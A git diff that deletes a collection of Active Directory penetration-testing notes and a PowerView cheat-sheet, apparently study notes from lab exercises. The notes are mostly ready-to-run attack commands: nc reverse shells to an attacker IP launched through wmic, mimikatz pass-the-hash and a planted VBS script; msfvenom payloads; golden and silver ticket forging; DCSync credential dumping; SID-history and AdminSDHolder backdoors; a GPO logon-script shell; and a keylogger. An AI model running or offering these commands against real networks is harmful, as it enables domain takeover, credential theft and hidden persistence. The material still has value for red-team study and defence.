snap-ins -> right click `Active Directory Sites and Services` -> `Change Forest` -> Add root domain -> right click `Active Directory Users and Computers` -> Change Domain -> enter root domain -> right click `Active Directory Users and Computers ` -> View -> Advanced Features - * Start enumerating via click on the domain object in the tree on the left - * Take a look at `People` directory -> right click on them to see properties - * Change or create user or change groups - * Also use `MMC` to enumerate - -## CMD enumeration - -Execute from domain joined machine - -* Users -```sh -net user /domain -``` -* Specific user -```sh -net user /domain -``` -* Groups -```sh -net group /domain -``` -* Specific group -```sh -net group /domain -``` -* Password Policy via accounts -```sh -net accounts /domain -``` - -## Powershell Cmdlets - -* User details via -```sh - Get-ADUser -Identity -Server -Properties * -``` -* Groups -```sh -Get-ADGroup -Identity Administrators -Server exampleDC.com -Properties * -``` -* Group membership -```sh -Get-ADGroupMember -Identity Administrators -Server exampleDC.com -``` -* Generic AD objects -```sh -Get-ADObject -Filter -includeDeletedObjects -Server exampleDC.com -Get-ADObject -Filter 'badPwdCount -gt 0' -Server exampleDC.com -``` -* Domains -```sh - Get-ADDomain -Server exampleDC.com -``` - -## Sharphound and Bloodhound - -* [BloodHound documentation](https://bloodhound.readthedocs.io/en/latest/index.html#) - -* Change to AD user via `runas.exe` and collect via one of the following - * Sharphound.ps1 - * sharphound.exe - * Azurehound.ps1 - -* For example -```sh -Sharphound.exe --CollectionMethods --Domain example.com --ExcludeDCs -``` -* After some time collect the current sessions via -```sh -Sharphound.exe --CollectionMethods Session --Domain example.com --ExcludeDCs -``` -* Start neo4j db -```sh -neo4j console start -``` -* Start bloodhound -```sh -bloodhound --no-sandbox -``` -* Drag and Drop the zip file from Sharphound -* Either search for AD objects and use `Analysis` to find an attack path through the info on the edges -* Shows exploitable accounts in the `Analysis` tab, for example kerberroastable accounts - -## LDAP - -## PowerView - -## WMI diff --git a/misc/active_directory/ad_misconfiguration.md b/misc/active_directory/ad_misconfiguration.md deleted file mode 100644 index 1ca3427..0000000 --- a/misc/active_directory/ad_misconfiguration.md +++ /dev/null @@ -1,183 +0,0 @@ -# Active Directory Misconfigurations - -## Permission Delegation - -* Permissions to functions may be delegated as a standard functions itself -* Privilege creep becomes a problem eventually -* Discretionary ACLs are controlled by Access Control Entries (ACEs) - -### The following ACEs are critical and prone to be exploited - -* __GenericAll__, complete control and creation of an object -* __ForceChangePassword__, change the password of a user and sometimes administrator passwords -* __AddMembers__, add a user to an existing group -* __GenericWrite__, update any non-protected parameters of the target, e.g. paths to scripts. -* __WriteOwner__, change owner of a target object. -* __WriteDACL__, create new ACEs to an object's DACL -* __AllExtendendRights__ all control over an object's permission - -### Tools to exploit ACEs - -* AD-RSAT -* Powersploit - -* BloodHound, check permissions to target - -### Usage - -* Add user to a group via powershell -```sh -Add-GroupMember "" -Members "" -``` - -* List info about groups, preferably administration groups -```sh -Get-ADGroupMember -Identity "" -``` - -* __Set new password for user__, afterwards reconnect session -```sh -$Password = ConvertTo-SecureString "password123#" -AsPlainText -Force -Set-ADAccountPassword -Identity "" -Reset -NewPassword $Password -``` - -## Kerberos Delegation - -* Unconstrained (without limit) delegation, [exploit](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976) -* Constrained delegation -* Resource based constrained delegation (RBCD), service owner specifies which resources can bind. Set by [msDS-AllowedToActOnBehalfOfOtherIdentity](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) - -### Delegatable Services - -* __HTTP__ -* __CIFS__ -* __LDAP__ -* __HOST__ -* __MSSQL__ - -### Usage - -* Enumerate via powerview -```sh -Import-Module .\PowerView.ps1 -Get-NetUser -TrustedToAuth -``` - -## Automated Relays - -### Machine Accounts - -* Administrative machine account of one host having administrative permissions over another host - -### Printers - -* Target has to have an SMB server -* Spooler, PetitPotam, PrintNightmare are printer exploits -* Query printer services through a servers domain -```sh -GWMI Win32_Printer -Computer -Get-PrinterPort -ComputerName -``` -* SMB signing may be enabled but must not be enforced in order for the exploit to work, check via -```sh -nmap --script smb2-securitymode -p 445 printer.example.com plotter.example.com -``` -* Start SMB relay on attacker, use IP instead of domain to trigger NTLM auth -```sh -ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug -``` -* Authenticate on attacker with the credentials already gained from a windows computer -```sh -SpoolSample.exe "$ATTACKER_IP" -``` -* Authenticate with the received credential -```sh -ntlmrelayx.py -smb2support -t smb://"$TARGET_IP" -debug -c 'whoami /all' -debug -``` - -## Active Directory Users - -### Credentials - -### Keylogging - -* With a meterpreter shell migrate to an active user's process and set a keylogger -```sh -migrate -keyscan_start -``` -* To inspect the results -```sh -keyscan_dump -``` - -## Group Policy Objects - -* Every `GPO` has a `GUID` -* Local Policies are configured for application rules for FW, Windows-Defender, Applocker - * Other local policies are group memberships, startup config, protocols - * Group policies change configuration of these remotely over AD -* `GPOs` are stored on the `SYSVOL` to be distributed to any machine in the domain - -### Usage - -* Target is to add the user to either an RDP or SSH group and to connect via this group afterwards -* Start a `cmd` with a AD user and execute `mmc` through it -```sh -runas /netonly /user:\ cmd.exe -mmc -``` -* Check connection of the `cmd.exe` via -```sh -dir \\\sysvol -``` -* Click `File` -> Add/Remove Snap-in -> `Group Policy Management` -> `OK` -* On the left tree do `Group Policy Management` -> `Forest bla` -> `Domains` -> `` -> `Server` -> `Management Servers` and right click to edit the group -* On the left tree `Computer Configuration` -> `Policies` -> `Windows Settings` -> `Security Settings` -> right click `Restricted Groups` -> `Add Group` -> name like `IT Support` -> edit the group and Add `Administrators` and `Remote Desktop Users` groups - -## Certificates - -* [AD Certificate Services](./AD_CS.md) - -## Domain Trusts - -* Domain Trusts offer access to resources to users in the domain - * Directional, from trusted domain to another truster domain - * Transitive, beyond more than just one other domain - - -* Pwn parent child relationship between directional domain trusts via krbtgt and a golden ticket -* `krbtgt` as an account signs and encrypts TGTs -* Crafting a golden ticket by becoming a TGS. Following info is needed - * FQDN - * Security identifier of the domain (SI) - * Target's username - * __KRBTGT password hash__ store on the DC - -### Usage - -* `KRBTGT` via Mimikatz, resulting in `Hash NTLM` -```sh -privilege::debug -lsadump::dsync /user: -``` -* Craft the ticket with the help of this hash - -* Alternatively, InterRealm TGTs are used to get resources between domains in order to pwn the parent by adding the Enterprise Admin group as an extraSID,commonly this is `S-1-5-21--519` -* SID of Child DC is needed, as well as the SID of the Enterprise Admin in the parent domain -* Get child SIDs via -```sh -Get-ADComputer -Identity "" -``` -* Get parent SID via -```sh -Get-ADGroup -Identity "Enterprise Admins" -Server -``` -* Include additional SIDs from other domains into `KERB_VALIDATION_INFO` via Mimikatz -```sh -privilege::debug -kerberos golden /user:Administrator /domain: /sid: /service:kbtgt /rc4: /sids: /ptt -exit -dir \\DCdomain\dir$ -dir \\Parentdomain\dir$ -``` diff --git a/misc/active_directory/ad_persistence.md b/misc/active_directory/ad_persistence.md deleted file mode 100644 index 7ae4c90..0000000 --- a/misc/active_directory/ad_persistence.md +++ /dev/null @@ -1,198 +0,0 @@ -# Active Directory Persistance - - -## Using Credentials - -* __Knowledge Consistency Checker (KCC)__ replicates credentials through the forest -* __DC Synchronisation__ is the process of syncing credentials between domain controllers, it can be used to gather credentials - * Credentials for multiple local administrators - * Service account with delegation permissions - * __Service accounts with high AD permissions__, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM) - -### Usage - -* Use mimikatz -```sh -lsadump::dcsync /domain: /user: -``` -* To query the krbtgt user -```sh -lsadump::dcsync /domain: /user:krbtgt. -``` -* Query everything -```sh -lsadump::dcsync /domain: /all -``` - -## Using Tickets - -* __Golden Ticket__ crafted TGT, - * Needs domain name, domain SID and a user ID to impersonate - * Needs krbtgt NTLM to sign the ticket - * krbtgt hash never rotates automatically, only refreshed manually - * krbtgt hash bypasses smart cards - * TGT can not be older than 20 minutes - * TGT lifetime can be set to years - * TGT can be signed anywhere as long as the krbtgt hash is known - -* __Silver Ticket__ crafted TGS - * Signed by targeted service account on a host - * DC is never contacted, no contact to any TGT or KDC - * Non existing user can be used with a local admin group's SID - -### Usage - -* Craft a golden ticket -```sh -Get-ADDomain -``` -```sh -kerberos::golden /admin:MyLittleAdministrator /domain: /id:500 /sid: /target: /rc4: /service:cifs /ptt -``` - -## Using Certificates - -* Private key extraction via mimikatz which makes it exportable -```sh -crypto::certificates /systemstore:local_machine -privilege::debug -crypto::capi -crypto::cng -crypto::certificates /systemstore:local_machine /export -``` -* Password of the certificate is `mimikatz` afterwards -* Use [ForgeCert](https://github.com/GhostPack/ForgeCert) to create certificate -```sh -ForgeCert.exe --CaCertPath .pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@ --NewCertPath Administrator.pfx --NewCertPassword SecretPassword -``` -* -* Use Rubeus to request the TGT via -```sh -Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain: /dc: -``` -* Load the TGT via mimikatz -```sh -privilege::debug -kerberos::ptt administrator.kirbi -dir \\\C$\ -``` - -## Using SID History - -* Account logs on -> associated SIDs (group SIDs) added to the user's token -> permissions are set in this way -* SIDs of controlled accounts may be added to the history -* Add Administrator group to the associated SIDs / the token -* `ntds.dit` stores all AD info -* User does not come up on checking groups, the user stays hidden unless searched for explicitly - -### Usage - -* Check SID history -```sh -Get-ADUser -properties sidhistory,memberof -``` -* Check SID of domain admins -```sh -Get-ADGroup "Domain Admins" -``` -* Use [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) to patch `ntds.dit` -```sh -Stop-Service -Name ntds -force -Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit -Start-Service -Name ntds -``` -* Verify users SIDs -```sh -Get-ADUser -Properties sidhistory -dir \\\C$\ -``` - -## Using Group Memberships - -* Most are monitored security wise -* Interesting group for persistence are - * `IT Support` - * Local administrational accounts - * Groups with ownership over GPO -* Nested groups are used to organize an AD - * `Helpdesk`, `Network Manager` is a nested group of `IT Support` -* Joining a nested groups is not as alerting as joining a more general group - -### Usage - -* Create a new subgroup -```sh -New-ADGroup -Path "OU=IT,OU=People,DC=,DC=,DC=COM" -Name " Steam Network 1" -SamAccountName "_steam_network1" -DisplayName " Steam Network 1" -GroupScope Global -GroupCategory Security -``` -* And nesting another one -```sh -New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name " Steam Network 2" -SamAccountName "_steam_network2" -DisplayName " Steam Network 2" -GroupScope Global -GroupCategory Security - -Add-ADGroupMember -Identity "_steam_network2" -Members "_steam_network1" -``` - -* Do it a couple of times again and add the last group to Domain Admins -```sh -Add-ADGroupMember -Identity "Domain Admins" -Members "_2" -``` - -* Add the low priv user to the first group -```sh -Add-ADGroupMember -Identity "_steam_networks1" -Members "" -``` - -* And check -```sh -dir \\\c$\ -``` -* Verify nested group -```sh -Get-ADGroupMember -Identity "Domain Admins" -``` - -## Using ACLs - -* AD group templates like `AdminSDHolder` can be used to copy its ACL through the AD's protected groups - * Domain Admins - * Administrators - * Enterprise/Schema Administrator -* SDProp as a process maps the ACLs to protected groups every hour - -## Usage - -* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` -* File -> Add Snap-In -> Active Directory Users and Groups -* View -> Advanced Features -* AdminSDHolder group in Domain -> System -* Right click the group -> Properties -> Security -> Add user and Check Names -> OK -> Allow on Full Control -> Apply -> OK - -* Add the user to other groups with the new propagated permissions - -## Using GPOs - -* Restricted Group Memberships, admin access to every host in the domain -* Logon Script Deployment, get a shell when a user logs in - -### Usage - -* Craft a portable executable shell via meterpreter -* Craft a batch script -```sh -copy \\\sysvol\\scripts\shell.exe C:\windows\tmp\_shell.exe && timeout /t 20 && C:\windows\tmp\shell.exe -``` -* Copy both to the sysvol -* `runas /netonly /user:Administrator cmd.exe` and therein open `mmc` -* File -> Add/Remove Snap-in -> Group Policy Management -> Add -> OK -* Right click Admins OU -> Create GPO in the domain -> link it -> name it -* Right click created policy -> Enforced -* Right click created policy -> edit -> User Configuration / Policies -> Window Settings -> Scripts (logon/logoff) -* Right click Logon -> Properties -> Scripts tab -> Add -> Browse -* Select the previously created batch script and PE -* Catch the shell when an admin logs on - -* Once again open mmc -* Right click Enterprise Domain Controllers -> Edit settings, delete, modify security -* Click on every other group except Authenticated Users and remove them - -* Add -> `Domain Computers` -> check names - OK -* Read Permissions -> OK -> Authenticated Users -> Remove diff --git a/misc/active_directory/gaining_foothold_AD.md b/misc/active_directory/gaining_foothold_AD.md deleted file mode 100644 index 50f9330..0000000 --- a/misc/active_directory/gaining_foothold_AD.md +++ /dev/null @@ -1,116 +0,0 @@ -# Active Directory - Gain Foothold - -* Methods of aquiring the first set of credentials - - -## Aquire credentials - -### OSINT - -* Discover info about the target via - * Questions asked on Stack Overflow - * Credentials set in (github) repos - * Past breaches, [haveIbeenpwned](https://haveibeenpwned.com/), [DeHashed](https://www.dehashed.com/) - -### Phishing - -* Gain credentials via eMail - -## NTLM Authenticated Services - -* Windows Authentication on NetNTLM is a Challenge-Response protocol used to deliver a challenge and the result on behalf of a user -- through the application -- to the DC -* These may be exposed to the Internet. For example - * Mail exchange, OWA webmail - * RDP - * VPN endpoints - * Web applications using something like SSO via AD - -* Use these applications to either brute force / spraying passwords to found IDs or to verify previously aquired IDs and their passwords - -## LDAP Bind Credentials - -* LDAP may be integrated into an AD Forest. An application may verify an LDAP account with the help of AD credentials at the DC. -* Third party programs may use LDAP like - * CUPS - * VPNs - * gitlab - -### LDAP Pass-Back - -* After gaining access to a device's config including LDAP parameters, reroute its IP to your own IP. This may be done via web UIs. -* Use an LDAP server to catch the credentials. Only PLAIN and LOGIN authentication must be allowed in order to gain the credentials. - * OpenLDAP -```sh -dpkg-reconfigure -p low slapd -``` - * Skip reconfiguration -> No - * Insert DNS domain and organisation - * Provide password - * Select `MDB` as database - * No removal when db is purged - * Move old database when creating a new one - * Downgrade authentication via `*.ldif` file -```sh -dn: cn=config -replace: olcSaslSecProps -olcSaslSecProps: noanonymous,minssf=0,passcred -``` - * Patch and reload ldap -```sh -sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart -``` - * Check via -```sh -ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms -``` -* Make pcap via tcdump - -## Authentication Relay - -* Communcating services inside the network verify authentication of each other -* Intercept NTLM hashes send for example via `SMB` auth, or do a MITM -* Use responder poisons requests gained from - * __Link-Local Multicast Name Resolution__ (LLMNR) - * __NetBIOS Name Server__ (NBT-NS), send before LLMNR - * __Web Proxy Auto-Discovery__ (WPAD), finds proxies for future HTTP connections - -### Capture via responder - -* Run responder on LAN via -```sh -sudo responder -I -``` -* Use `hashcat` to crack the hashes -```sh -hashcat -m 5600 hash.txt rockyout.txt --force -``` - -### Relay via responder - -* `SMB` signing must not be enforced, either on or off -* Done after some intial enumeration and to gain administrative accounts - -## Microsoft Deployment Toolkit (MDT) - -* Deploy and patch software remotely -* Used in conjuction with Microsoft's System Center Configuration Manager (SCCM) - -### Preboot Execution Environment (PXE) - -* [Read this](https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/) - -* Load and install OS via network -* `MDT` provisions PXE boot images -* An IP gained via `DHCP` is the validation step, PXE will be delivered by `MDT` -* Retrieve/enumerate images via `TFTP` - -* Create an admin account after OS installation -* Password scraping to recover AD creds used during OS installation - -* Use `PowerPXE.ps1` to extract `*.bcd` files - - -## Configuration Files - -* Configurations of services and applications as well as registry keys -* Use enumeration scripts like `winpeas.sh` or `seatbelt` diff --git a/misc/active_directory/lateral_movement.md b/misc/active_directory/lateral_movement.md deleted file mode 100644 index cf4f2b5..0000000 --- a/misc/active_directory/lateral_movement.md +++ /dev/null @@ -1,264 +0,0 @@ -# Lateral Movement - -* Finding credentials with more permissions move through the network cloaked, avoiding detection -* Context of connections from A to B with permission C might be suspicious, therefore some bypass has to be found -* Local and network/domain accounts have to be distinguished. UAC is enforced on local admin accounts and not on domain accounts - -* __Service executables need their own special reverse shell__, `msfvenom` file format `exe-service` - -## Remote Processes - -### psexec - -* Port `445` -* `SMB` protocol -* Group membership: `Administrators` - -* Upload the service binary to `ADMIN$` directory of the SMB server -* Use `psexesvc.exe` via service control manager to execute the remote process -* Communication will be established through a named pipe - -```sh -psexec64.exe \\%TARGET_IP% -u Administrator -p %PASSWORD% -i cmd.exe -``` - -### WinRM - -* Ports `5985` (HTTP) and `5986` (HTTPS) -* Group Membership: `Remote Management Users` - -* Execute powershell commands on remote targets - -```sh -winrs.exe -u:Administrator -p:%PASSWORD% -r:target cmd -``` - -* Run through powershell alternatively via -```sh -$username = "Administrator"; -$password = "SecurePassword"; -$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; -$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; - -Enter-PSSession -Computername TARGET -Credential $credential -Invoke-Command -Computername TARGET -Credential -ScriptBlock {whoami} -``` - -### sc - -* Ports `135`, `49152-65535` (DCE/RPC), `135` shows service endpoints on the high ports -* Ports `139` and `445`RPC over SMB named pipes, if SVCCTL fails over `135` -* Group Membership: `Administrators` - -* Create service remotely via Service Control Manager (RPC) or `SVCCTL` - -```sh -sc.exe \\%TARGET_IP% create MyService binPath= "net user newuser securepassword /add" start= auto -sc.exe \\%TARGET_IP% start MyService - -sc.exe \\%TARGET_IP% stop MyService -sc.exe \\%TARGET_IP% delete MyService -``` - -### schtasks - -* Create remote scheduled tasks -```sh -schtasks /s TARGET /RU "SYSTEM" /create /tn "SteamUpdateService" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00 -schtasks /s TARGET /run /TN "SteamUpdateService" -``` -* Delete scheduled tasks via -```sh -schtasks /S TARGET /TN "SteamUpdateService" /DELETE /F -``` - -### wmi - -* Ports are - * DCOM `135` RPC and dynamic ports - * Wsman `5985` winrm HTTP and `5986` winrm HTTPS -* Group membership: `Administrators` - -* To start, use the same object used for winrm -```sh -$username = "Administrator"; -$password = "SecurePassword"; -$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; -$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; -``` - -* Store the session -```sh -$Opt = New-CimSessionOption -Protocol DCOM -$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop -``` - -* __Spawn a remote process__ -```sh -$Command = "powershell.exe -Command Set-Content -Path C:\payload.txt -Value itworked"; - -Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ -CommandLine = $Command -} -``` - -* Alternatively via -```sh -wmic.exe /user:Administrator /password:securepassword /node:TARGET process call create "cmd.exe /c nc64.exe -e cmd.exe %ATTACKER_IP% %ATTACKER_PORT%" -``` - -* __Spawn a remote service__ -```sh -Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ -Name = "SteamUpdateService"; -DisplayName = "SteamUpdateService"; -PathName = "net user gabenewell securepassword /add"; -ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process -StartMode = "Manual" -} -``` -* Initiate the service -```sh -$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'SteamUpdateService'" - -Invoke-CimMethod -InputObject $Service -MethodName StartService -``` -* Start and stop via -```sh -Invoke-CimMethod -InputObject $Service -MethodName StopService -Invoke-CimMethod -InputObject $Service -MethodName Delete -``` - -* __Spawn a remote scheduled task__ -```sh -$Command = "cmd.exe" -$Args = "/c net user gabenewell securepassword /add" - -$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args -Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "SteamUpdateService" -Start-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService" -``` -* Delete task via -```sh -Unregister-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService" -``` - -* __ Install a remote msi package__ -```sh -msfvenom -p windows/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=4711 -f msi -o steam.msi -``` -* Upload and run via -```sh -Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\steam.msi"; Options = ""; AllUsers = $false} -``` -* Alternatively on older systems via -```sh -wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\steam.msi -``` - -## Further Authentication Methods - -* NTLM -* Kerberos - -### NTLM - -#### __Pass the hash__ - -* Retrieve and pass a hash generated from the password - -* Use mimikatz on local SAM -```sh -privilege::debug -token::elevate -lsadump::sam -``` - * Use mimikatz on lsass -```sh -privilege::debug -token::elevate -sekurlsa::msv -``` - - * Open reverse shell via mimikatz -```sh -token::revert -sekurlsa::pth /user: -/domain: /ntlm: /run:"C:\Windows\temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" -``` - -* Via RDP -```sh -xfreerdp /v:$TARGET_IP /u:DOMAIN\\ /pth: -``` -* Via psexec -```sh -psexec.py -hashes DOMAIN/@%TARGET_IP% -``` -* Kerberos -```sh -evil-winrm -i $TARGET_IP -u -H -``` - -### Kerberos - -* Ticket and session key are needed - -#### Pass The Ticket - -* Extract via mimikatz -```sh -privilege::debug -sekurlsa::tickets /export -``` -* TGS need low privilege account, TGT need administrative privileges -* Use the ticket to inject into a current session -```sh -kerberos::ptt @.kirbi -``` - -* Check tickets via `klist` - - -#### Overpass The Hash - -* Pass the key: Timestamp to gain TGT is encrypted via an encrypted key - * Algorithms can be `rc4`, `aes128`, `aes256` or `des` if enabled - * `rc4` is a pure ntml hash -* Use the key to gain the TGT -```sh -privilege::debug -sekurlsa::ekeys -``` - -* Open a reverse shell via -```sh -sekurlsa::pth /user:Administrator /domain: /: /run:"C:\Windows\Temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" -``` - -## Writeable Shares - -* Find a shortcut, a script or anything that keeps a connection over the network to a share - -* Reuse a `*.vbs` via -```sh -CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\%TARGET_IP%\share\nc.exe %tmp% & %tmp%\nc.exe -e cmd.exe %ATTACKER_IP% 4711", 0, True -``` - -* Reuse and inject into exisiting portable executable -```sh -msfvenom -a x64 --platform windows -x -k -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -b "\x00" -f exe -o -``` - -* Reuse RDP session. Administrator can be logged out but did not close the session. Reuse it without a password as administrator user. Therefore run `cmd` or `powershell` as administrator and reuse the session by its name -```sh -PsExec64.exe -s cmd.exe -query user -``` -* Check output and fill in -```sh -tscon /dest: -``` -* Session state should be `DISC`, a session which was not exited correctly -* Windows Server < 2019 only without the password - diff --git a/misc/active_directory/powerview.ps1 b/misc/active_directory/powerview.ps1 deleted file mode 100644 index 1bf751a..0000000 --- a/misc/active_directory/powerview.ps1 +++ /dev/null @@ -1,207 +0,0 @@ -# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ -# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c - -# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit: -# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 - -# New function naming schema: -# Verbs: -# Get : retrieve full raw data sets -# Find : ‘find’ specific data entries in a data set -# Add : add a new object to a destination -# Set : modify a given object -# Invoke : lazy catch-all -# Nouns: -# Verb-Domain* : indicates that LDAP/.NET querying methods are being executed -# Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration -# Verb-Net* : indicates that Win32 API access is being used under the hood - - -# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups -Get-DomainGroup -MemberIdentity - -# get all the effective members of a group, 'recursing down' -Get-DomainGroupMember -Identity "Domain Admins" -Recurse - -# use an alterate creadential for any function -$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force -$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) -Get-DomainUser -Credential $Cred - -# retrieve all the computer dns host names a GPP password applies to -Get-DomainOU -GPLink '' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname} - -# get all users with passwords changed > 1 year ago, returning sam account names and password last set times -$Date = (Get-Date).AddYears(-1).ToFileTime() -Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset - -# all enabled users, returning distinguishednames -Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname -Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname - -# all disabled users -Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" -Get-DomainUser -UACFilter ACCOUNTDISABLE - -# all users that require smart card authentication -Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Get-DomainUser -UACFilter SMARTCARD_REQUIRED - -# all users that *don't* require smart card authentication, only returning sam account names -Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname -Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname - -# use multiple identity types for any *-Domain* function -'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff - -# find all users with an SPN set (likely service accounts) -Get-DomainUser -SPN - -# check for users who don't have kerberos preauthentication set -Get-DomainUser -PreauthNotRequired -Get-DomainUser -UACFilter DONT_REQ_PREAUTH - -# find all service accounts in "Domain Admins" -Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'} - -# find users with sidHistory set -Get-DomainUser -LDAPFilter '(sidHistory=*)' - -# find any users/computers with constrained delegation st -Get-DomainUser -TrustedToAuth -Get-DomainComputer -TrustedToAuth - -# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation -$Computers = Get-DomainComputer -Unconstrained -$Users = Get-DomainUser -AllowDelegation -AdminCount - -# return the local *groups* of a remote server -Get-NetLocalGroup SERVER.domain.local - -# return the local group *members* of a remote server using Win32 API methods (faster but less info) -Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local - -# Kerberoast any users in a particular OU with SPNs set -Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" - -# Find-DomainUserLocation == old Invoke-UserHunter -# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in -Find-DomainUserLocation -ComputerUnconstrained -ShowAll - -# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation -Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation - -# find all computers in a given OU -Get-DomainComputer -SearchBase "ldap://OU=..." - -# Get the logged on users for all machines in any *server* OU in a particular domain -Get-DomainOU -Identity *server* -Domain | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}} - -# enumerate all gobal catalogs in the forest -Get-ForestGlobalCatalog - -# turn a list of computer short names to FQDNs, using a global catalog -gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname} - -# enumerate the current domain controller policy -$DCPolicy = Get-DomainPolicy -Policy DC -$DCPolicy.PrivilegeRights # user privilege rights on the dc... - -# enumerate the current domain policy -$DomainPolicy = Get-DomainPolicy -Policy Domain -$DomainPolicy.KerberosPolicy # useful for golden tickets ;) -$DomainPolicy.SystemAccess # password age/etc. - -# enumerate what machines that a particular user/group identity has local admin rights to -# Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation -Get-DomainGPOUserLocalGroupMapping -Identity - -# enumerate what machines that a given user in the specified domain has RDP access rights to -Get-DomainGPOUserLocalGroupMapping -Identity -Domain -LocalGroup RDP - -# export a csv of all GPO mappings -Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv - -# use alternate credentials for searching for files on the domain -# Find-InterestingDomainShareFile == old Invoke-FileFinder -$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force -$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) -Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential - -# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names -Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local - -# grant user 'will' the rights to change 'matt's password -Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose - -# audit the permissions of AdminSDHolder, resolving GUIDs -Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs - -# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse -Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All - -# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) -Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { - ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -} - -# find linked DA accounts using name correlation -Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname} - -# save a PowerView object to disk for later usage -Get-DomainUser | Export-Clixml user.xml -$Users = Import-Clixml user.xml - -# Find any machine accounts in privileged groups -Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse 